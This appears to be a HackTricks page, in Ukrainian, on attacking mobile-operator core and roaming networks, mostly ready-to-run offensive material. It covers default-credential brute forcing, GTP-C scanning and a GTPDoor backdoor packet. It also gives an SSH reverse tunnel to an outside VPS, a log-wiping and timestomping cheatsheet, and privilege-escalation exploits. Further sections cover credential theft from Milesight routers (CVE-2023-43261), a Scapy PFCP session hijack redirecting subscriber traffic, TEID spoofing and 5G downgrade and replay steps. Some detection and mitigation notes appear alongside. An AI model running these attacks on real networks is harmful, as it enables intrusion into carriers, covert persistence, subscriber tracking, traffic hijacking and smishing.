Експлуатація телеком-мереж (GTP / Roaming Environments)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Note
Мобільні ядрові протоколи (GPRS Tunnelling Protocol – GTP) часто проходять через напівдовірені магістралі роумінгу GRX/IPX. Через те, що вони йдуть по plain UDP з майже відсутньою автентифікацією, будь-яка опора всередині периметра телеком-провайдера зазвичай може безпосередньо дістатися до шарів керування signaling. Нижченаведені нотатки збирають офензивні трюки, спостережувані у реальному середовищі проти SGSN/GGSN, PGW/SGW та інших EPC вузлів.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
Дивно велика кількість вендорських елементів мережі постачається з жорстко вбудованими SSH/Telnet користувачами, такими як root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Спеціалізований wordlist істотно підвищує успішність brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Якщо пристрій відкриває лише management VRF, спочатку здійсніть pivot через jump host (див. розділ «SGSN Emu Tunnel» нижче).
1.2 Виявлення хостів всередині GRX/IPX
Більшість операторів GRX досі дозволяють ICMP echo через магістраль. Поєднайте masscan з вбудованими gtpv1 UDP-пробами, щоб швидко відобразити GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Перерахування абонентів – cordscan
Наведений нижче інструмент на Go формує пакети GTP-C Create PDP Context Request і записує відповіді. Кожна відповідь виявляє поточний SGSN / MME, який обслуговує запитуваний IMSI, а іноді — відвідану PLMN абонента.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Ключові прапори:
--imsiЦільовий абонент IMSI--operHome / HNI (MCC+MNC)-wЗаписувати необроблені пакети у pcap
Важливі константи у бінарному файлі можна змінити, щоб розширити сканування:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Виконання коду через GTP – GTPDoor
GTPDoor — це невеликий ELF-сервіс, який прив’язується до порту UDP 2123 і розбирає кожен вхідний GTP-C пакет. Коли payload починається з pre-shared tag, решта дешифрується (AES-128-CBC) і виконується через /bin/sh -c. stdout/stderr ексфільтруються всередині Echo Response повідомлень, тому назовні жодна сесія не створюється.
Мінімальний PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Виявлення:
- будь-який хост, який надсилає незбалансовані Echo Requests на SGSN IPs
- GTP version flag встановлено в 1, коли message type = 1 (Echo) — відхилення від специфікації
4. Pivoting через Core
4.1 sgsnemu + SOCKS5
OsmoGGSN включає емулятор SGSN, який може establish a PDP context towards a real GGSN/PGW. Після узгодження Linux отримує новий інтерфейс tun0, доступний з роумінг-піра.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
За належного firewall hair-pinning цей тунель обходить VLANи, призначені лише для signalling, і потрапляє безпосередньо в площину даних.
4.2 SSH Reverse Tunnel через порт 53
DNS майже завжди відкритий у роумінгових інфраструктурах. Зробіть внутрішній SSH‑сервіс доступним через ваш VPS, що слухає :53, і поверніться пізніше з дому:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Перевірте, що GatewayPorts yes увімкнено на VPS.
5. Приховані канали
| Канал | Транспорт | Декодування | Примітки |
|---|---|---|---|
ICMP – EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | повністю пасивний слухач, без вихідного трафіку |
DNS – NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | спостерігає за піддоменом *.nodep |
GTP – GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | зливається з легітимним GTP-C трафіком |
Всі implants реалізують watchdogs, які timestomp їхні бінарні файли та re-spawn у разі збою.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation на застарілому NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Порада з очищення:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan,GTPDoor,EchoBackdoor,NoDepDNS– custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(≥0.37) : проходження NAT / з’єднання ресурсів
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Процедура реєстрації 5G виконується по NAS (Non-Access Stratum) поверх NGAP. До активації захисту NAS через Security Mode Command/Complete початкові повідомлення не автентифіковані та не зашифровані. Це вікно до увімкнення захисту дає кілька шляхів атак, якщо ви можете спостерігати або змінювати N2 трафік (наприклад, on-path всередині core, нелегітимний gNB або тестовий стенд).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Очікуване: UE/USIM має передавати SUCI (SUPI зашифрований публічним ключем home-network). Знаходження відкритого SUPI/IMSI в Registration Request вказує на дефект конфіденційності, що дозволяє стійке відстеження абонента.
Як тестувати:
- Захопіть перше NAS-повідомлення в InitialUEMessage і проінспектуйте Mobile Identity IE.
- Wireshark quick checks:
- Воно має декодуватись як SUCI, а не IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucishould exist; absence plus presence ofimsiindicates leakage.
Що збирати:
- MCC/MNC/MSIN якщо відкриті; логувати по UE і відслідковувати у часі/локаціях.
Мітігація:
- Примусове використання тільки SUCI на UE/USIM; оповіщення при будь-якому IMSI/SUPI в початковому NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Заходи (обов’язково):
- Налаштуйте AMF/policy так, щоб відхиляти EEA0/EIA0, за винятком випадків, коли це строго вимагається (наприклад, екстрені виклики).
- Надавайте перевагу примусовому застосуванню EEA2/EIA2 як мінімум; журналюйте та сигналізуйте при будь-якому NAS security context, який погоджує null algorithms.
9.3 Replay початкового Registration Request (pre-security NAS)
Оскільки початковий NAS позбавлений цілісності та свіжості, перехоплений InitialUEMessage+Registration Request може бути replayed до AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
На що варто звернути увагу:
- Чи приймає AMF replay і переходить до аутентифікації; відсутність перевірки свіжості/контексту вказує на вразливість.
Заходи пом’якшення:
- Забезпечити replay protection/context binding на AMF; встановити rate-limit та корелювати по GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Постійно інспектувати Registration Request на предмет plaintext SUPI/IMSI; блокувати пристрої/USIMs, що порушують.
- Відкидати EEA0/EIA0, окрім вузько визначених аварійних процедур; вимагати принаймні EEA2/EIA2.
- Виявляти rogue або некоректно сконфігуровану інфраструктуру: неавторизовані gNB/AMF, неочікувані N2-піри.
- Сповіщати про режими безпеки NAS, які призводять до null algorithms або частих повторів InitialUEMessage.
10. Промислові Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Відповіді містять поля, такі як timestamp, content, phone_number (E.164) та status (success або failed). Повторні надсилання з failed на той самий номер часто є “capability checks” зловмисника, щоб перевірити, чи може маршрутизатор/SIM доставляти повідомлення перед масовою розсилкою.
Приклад curl для exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Примітки щодо auth artifacts:
- Деякий трафік може містити auth cookie, але велика частина відкритих пристроїв відповідає без жодної автентифікації на
query_inbox/query_outbox, коли інтерфейс управління доступний з Інтернету. - У середовищах, що вимагають auth, previously-leaked credentials (див. нижче) відновлюють доступ.
Credential recovery path – CVE-2023-43261:
- Постраждалі сімейства: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Проблема: web-served logs (e.g.,
httpd.log) доступні без автентифікації за шляхом/lang/log/і містять події входу admin з паролем, зашифрованим із використанням hardcoded AES key/IV, що присутній у client-side JavaScript. - Практичний доступ та розшифрування:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Мінімальний скрипт на Python для decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Ідеї для полювання та виявлення (мережа):
- Видавати сповіщення про неаутентифікований
POST /cgi, тіло JSON якого міститьbase/function, встановлені вquery_inboxабоquery_outbox. - Відстежувати повторні серії
POST /cgi, яким слідують записиstatus":"failed"для багатьох унікальних номерів з однієї і тієї ж source IP (тестування можливостей). - Зробіть інвентаризацію Internet-exposed Milesight роутерів; обмежте management до VPN; вимкніть SMS-функції, якщо вони не потрібні; upgrade до ≥ v35.3.0.7; rotate credentials та перегляньте SMS logs на предмет невідомих відправлень.
Shodan/OSINT pivots (приклади, помічені в реальному світі):
http.html:"rt_title"matches Milesight router panels.- Google dorking для виявлення exposed logs:
"/lang/log/system" ext:log.
Операційний вплив: використання легітимних carrier SIMs всередині роутерів дає дуже високу доставлюваність/credibility SMS для phishing, тоді як inbox/outbox exposure leaks чутливі метадані у великому масштабі.
11. PFCP Session Hijack & GTP-U TEID Abuse
11.1 PFCP Session Modification to steal flows
If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), create a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.
Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):
Scapy PFCP session hijack PoC
```python from scapy.all import * from scapy.contrib.pfcp import *n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR
pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)
</details>
### 11.2 Injecting user traffic by spoofing TEIDs
Якщо uplink GTP-U з backbone не ACL’d, ви можете відтворити/вгадати **TEIDs**, помічені в заголовках GTP-U, і інкапсулювати довільний IP/TCP у бік peer UE або в Інтернет. Приклад:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))
Поєднайте це з passive sniffing на N3/N6, щоб дізнатися активні TEIDs; багато стеків PGW/UPF приймають будь-яке uplink source, як тільки TEID збігається.
12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)
FivGeeFuzz (academic 2025) автоматично виводить граматики з 3GPP OpenAPI specs для fuzz HTTP-based SBIs. У випадку free5GC воно виявило вісім багів, включно з Cross-Service Token зловживанням: скомпрометований NF отримує access token для Service A і повторно використовує його проти Service B, оскільки у цільовому NF відсутні перевірки audience/issuer.
Швидка ідея для replay (припустимо, ви вкрали NRF-issued token з будь-якого NF):
# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts
Щоб автоматично fuzz з граматиками FivGeeFuzz:
python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500
Слідкуйте за 401/403 bypasses та crashes в SMF/AMF pods; виправлені збірки free5GC відхиляють mismatched aud/iss.
Ідеї виявлення
- Будь-який пристрій, окрім SGSN/GGSN, що встановлює Create PDP Context Requests.
- Нестандартні порти (53, 80, 443), які отримують SSH handshakes з внутрішніх IP.
- Часті Echo Requests без відповідних Echo Responses – можуть вказувати на GTPDoor beacons.
- Висока швидкість ICMP echo-reply трафіку з великими, ненульовими полями identifier/sequence.
- 5G: InitialUEMessage, що несе NAS Registration Requests, повторювані з ідентичних кінцевих точок (replay signal).
- 5G: NAS Security Mode, що узгоджує EEA0/EIA0 поза контекстом екстрених ситуацій.
- PFCP: Session Modification, що містить дубльовані PDR IDs або раптову FAR переадресацію на off-net IPs.
- SBA: NRF видає токени, чиї
audне відповідає викликаному NF – вказує на Cross-Service Token replay.
Посилання
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
- Cross-Service Token in 5G Core (API Security Blog)
- PFCP Session Modification Hijack in OAI UPF
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


